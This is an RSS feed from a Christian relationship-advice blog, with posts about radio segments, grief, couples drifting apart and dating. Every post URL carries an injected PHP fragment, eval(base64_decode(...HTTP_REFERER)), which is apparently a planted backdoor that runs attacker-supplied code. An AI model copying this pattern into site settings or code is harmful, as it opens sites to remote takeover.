Love Living Life with Dr. Torri Griffin » RELATIONSHIPS http://lovelivinglife.com "You can Live Life or LOVE LIVING LIFE. The Choice is Yours" Tue, 31 Jan 2012 23:00:27 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 On the Radio http://lovelivinglife.com/2011/05/13/on-the-radio/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://lovelivinglife.com/2011/05/13/on-the-radio/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 13 May 2011 04:00:36 +0000 Dr. Torri Griffin http://lovelivinglife.com/?p=524 Today on WAOK 1380 POWERTALK with Dr. Lorraine Jacques-White, we tackled another tricky relationship topic…Momma's Boys. The question of the day was, "Are you or have you been called a Momma's boy? Check it out at http://atlanta.cbslocal.com/2011/05/12/you-know-youre-a-mamas-boy-when/

]]> http://lovelivinglife.com/2011/05/13/on-the-radio/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Heart to Heart Thursdays http://lovelivinglife.com/2010/09/16/heart-to-heart-thursdays-2/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://lovelivinglife.com/2010/09/16/heart-to-heart-thursdays-2/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 17 Sep 2010 03:05:01 +0000 Dr. Torri Griffin http://lovelivinglife.com/?p=459 Today on Heart to Heart Thursday on the Afternoon Praise Party with Ace Alexander, "The Music Commander" we approached the topic of staying the course when those we started with stop.

Today the Church community said, "goodbye for now" to Dr. MaLinda Sapp, wife of gospel great, Pastor Marvin Sapp. We can all relate to a time when someone we love has been unable to go on and we have had to find the strength to somehow make it ourselves and go on anyway. Sometimes a death keeps them from going on with us but sometimes the cause is something else altogether. How do you keep moving on when your heart is broken because someone you love can't move on with you?

1. When someone you love can't go on because of passing on, you can go on by:
          -remembering what they wanted for you and honoring that wish of theirs
          -keeping their encouragement alive in your heart (i.e. telling yourself what they would probably say if they were here to share this moment with you
          -honoring their lives by telling the stories of key things you once shared with those who also cherish their memory.

2. Sometimes someone you love can't go on with you because of a tragedy or some other surprising separation. In these cases you still have to find a way to go on. If you spend too much time trying to figure out what they were thinking or why this happened, you could slip into stress, anxiety or even depression! You can go on by remembering to:
           -Accept the reality of your situation sooner than later by acting on it sooner. If they made a choice for that you don't agree with, consider allowing them the freedom to choose what they think will make them happy. If something happened that changed them somehow, try to embrace the person they are now and still remember the person they once were.
            -Remember how valuable you are and how many other people you have in your life that validate you and enjoy you and support you. Spend more time with those who bring you joy.
            -Focus on the good times you and that person created whenever the thought of them comes to mind. The things you enjoyed are still yours to remember and possibly re-create when another opportunity arises.

All in all, there is a God who loves you and has great plans for your life. Though not all good things happen in life, we can say we have a good God who makes sure the good and the bad work together to have some purpose in our lives. If you need any help facing a situation of loss, contact Dr. Torri Griffin at www.LoveLivingLife.com or wisdom@LoveLivingLife.com. If you have a story that connects with what's been said, share it. Others would enjoy hearing how you handled your loss.

Tune in to hear Dr. Torri and Ace Alexander discuss relationship issues on Heart to Heart Thursdays on WIGO every week from 4:00pm to 6:00pm EST at www.ThePraiseParty.com.

]]> http://lovelivinglife.com/2010/09/16/heart-to-heart-thursdays-2/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Heart to Heart Thursdays http://lovelivinglife.com/2010/05/27/heart-to-heart-thursdays/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://lovelivinglife.com/2010/05/27/heart-to-heart-thursdays/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 27 May 2010 22:11:30 +0000 Dr. Torri Griffin http://lovelivinglife.com/?p=441 Today on the Afternoon Praise Party with Ace Alexander the Music Commander we asked the question, "What do you do when things don't go as you planned in your relationship?" Let's talk about the times when things are going along fine in your relationship or marriage and ALL OF A SUDDEN, your loved one says, "I don't love you anymore." What do you do?

Sometimes that statement is a sign that we need to spice things up. . . and sometimes it is the beginning of the end. What you do depends on where you are going in your relationship. If you are dating and growing farther apart then this is a conversation starter that includes talk about what we are doing together and where we want to be in the next 12 months. If you are married and growing farther apart then this is a sign that it is time to examine this relationship and find out what each person is wanting from it. It may result in doing something different to rekindle the flame.

God gives us free will and the power to make choices. People are not always as understanding when things change. I say that it helps to hold people loosely– always allowing people to be with you because they want to…not because they have to. What did you do the last time someone changed directions in your life? We want to know.

]]> http://lovelivinglife.com/2010/05/27/heart-to-heart-thursdays/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Too Close Too Soon http://lovelivinglife.com/2009/08/04/too-close-too-soon/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://lovelivinglife.com/2009/08/04/too-close-too-soon/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 04 Aug 2009 04:13:14 +0000 Dr. Torri Griffin http://lovelivinglife.com/?p=266 Boy sees girl. Boy likes girl. Boy invites girl for a romp between the sheets. Girl says yes…whaaat? Is this the way love goes these days? We’re talking about it on WAOK 1380′s POWERTALK with Dr. Lorraine Jacques-White. What do you think? Are men and women getting too close too soon? How soon is too soon and how long is too long?

Let’s talk about it.

Dr. Torri

]]> http://lovelivinglife.com/2009/08/04/too-close-too-soon/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 2 What’s On Your Mind? http://lovelivinglife.com/2008/10/01/under-construction/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://lovelivinglife.com/2008/10/01/under-construction/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 01 Oct 2008 19:24:18 +0000 Dr. Torri Griffin http://lovelivinglife.com/?p=72 Hi, I’m Dr. Torri. Welcome to my website. The purpose of this site is to create a place for people to interact about the various issues in relationships that impact us daily. We are all social beings involved simultaneously in a variety of relationships: spiritual, social, business, casual, family, personal and so on. Here we can share personal stories, helpful hints, articles and ideas to help each other make better decisions and better choices as we improve the quality of all our relationships.  Feel free to blog or follow links to really great places that will help you as you live, love, date, marry and transition in relationships.

It is also my goal to help create a HEALTHY YOU in this process. You are the central force in your life that allows for change and improvement on any level. As you invite change and growth, look for it to come from many directions to help create those opportunities to try new ways to reach new heights. I expect great things from you. Use that life that you were given to make a difference. Someone is waiting to hear from you.

Love the life you live,

Dr. Torri

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